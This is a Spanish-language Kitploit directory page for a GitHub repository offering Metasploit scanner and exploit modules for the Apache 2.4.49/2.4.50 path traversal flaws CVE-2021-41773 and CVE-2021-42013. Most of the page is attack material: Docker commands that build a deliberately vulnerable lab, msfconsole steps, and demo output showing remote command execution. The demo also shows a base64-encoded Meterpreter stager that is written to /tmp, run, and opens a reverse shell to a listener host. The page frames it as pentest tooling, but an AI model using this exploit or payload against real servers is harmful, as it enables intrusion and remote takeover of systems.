Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
apache_normalize_path — Módulos de Metasploit-Framework (escáner y exploit) para los CVE-2021-41773 y CVE-2021-42013 (Path Traversal en Apache 2.4.49/2.4.50) | Kitploit
Herramientas/GitHubGitHub/zeop-cybersec/apache_normalize_path
Escáneres de VulnerabilidadesFrameworks de ExploitsExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubzeop-cybersec/apache_normalize_path

apache_normalize_path

Módulos de Metasploit-Framework (escáner y exploit) para los CVE-2021-41773 y CVE-2021-42013 (Path Traversal en Apache 2.4.49/2.4.50)

Ver Repositorio
12215hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773|CVE-2021-42013: Vulnerabilidad de Path Traversal Zero-Day en Apache HTTP Server Explotada

El 5 de octubre, el Proyecto Apache HTTP Server parcheó CVE-2021-41773, una vulnerabilidad de path traversal y divulgación de archivos en Apache HTTP Server, un servidor web de código abierto para Unix y Windows que se encuentra entre los servidores web más utilizados. Según el aviso de seguridad, CVE-2021-41773 ha sido explotado activamente como un zero-day. La vulnerabilidad fue reportada al Proyecto Apache HTTP Server el 29 de septiembre por Ash Daulton y el equipo de seguridad de cPanel. Sin embargo, el aviso no indica cuándo se detectó la explotación de CVE-2021-41773, pero es razonable pensar que la explotación impulsó la publicación acelerada de un parche.

Ver: https://fr.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Esta vulnerabilidad se ha reintroducido en la corrección de Apache 2.4.50 (CVE-2021-42013).

Se descubrió que la corrección para CVE-2021-41773 en Apache HTTP Server 2.4.50 era insuficiente. Un atacante podría usar un ataque de path traversal para mapear URLs a archivos fuera de los directorios configurados por directivas similares a Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si además los scripts CGI están habilitados para estas rutas alias, esto podría permitir la ejecución remota de código. Este problema solo afecta a Apache 2.4.49 y Apache 2.4.50, no a versiones anteriores.

Crea tu laboratorio

Path Traversal

root@kitploit:~
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773

--o--

root@kitploit:~
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013

Remote Code Execution

root@kitploit:~
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773

--o--

root@kitploit:~
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013

Verificación

Enumera los pasos necesarios para asegurarte de que esto funciona

  • Crea tu laboratorio usando los comandos anteriores.

Usa el módulo de escáner:

  • Inicia msfconsole.
  • use auxiliary/scanner/http/apache_normalize_path
  • set RHOSTS [IP]
  • set RPORT 8080
  • set SSL false
  • run

Usa el módulo de exploit:

  • Inicia msfconsole.
  • use exploit/multi/http/apache_normalize_path_rce
  • set RHOSTS [IP]
  • set RPORT 8080
  • set SSL false
  • set LHOST [IP]
  • set VERBOSE true
  • run

Demostración

CLI

root@kitploit:~
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1
target => 1
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a
cmd => uname -a
msf6 exploit(multi/http/apache_normalize_path_rce) > run

[+] uname -a
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Generated payload: uname -a
[!] http://172.20.4.11:8080 - Dumping command output in response
Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux

msf6 exploit(multi/http/apache_normalize_path_rce) > 

Meterpreter

root@kitploit:~
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > setg RHOSTS 172.20.4.11
RHOSTS => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36
lhost => 172.20.7.36
msf6 exploit(multi/http/apache_normalize_path_rce) > run

[*] Started reverse TCP handler on 172.20.7.36:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://172.20.4.11:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUByRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/PJaT; chmod +x /tmp/PJaT; /tmp/PJaT; rm -f /tmp/PJaT
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 172.20.4.11
[*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.4.11:48540) at 2021-10-08 13:58:13 +0400
[!] This exploit may require manual cleanup of '/tmp/PJaT' on the target

meterpreter >

Referencias

  1. https://httpd.apache.org/security/vulnerabilities_24.html
  2. https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
  3. https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
  4. https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
  5. https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
Descargar herramienta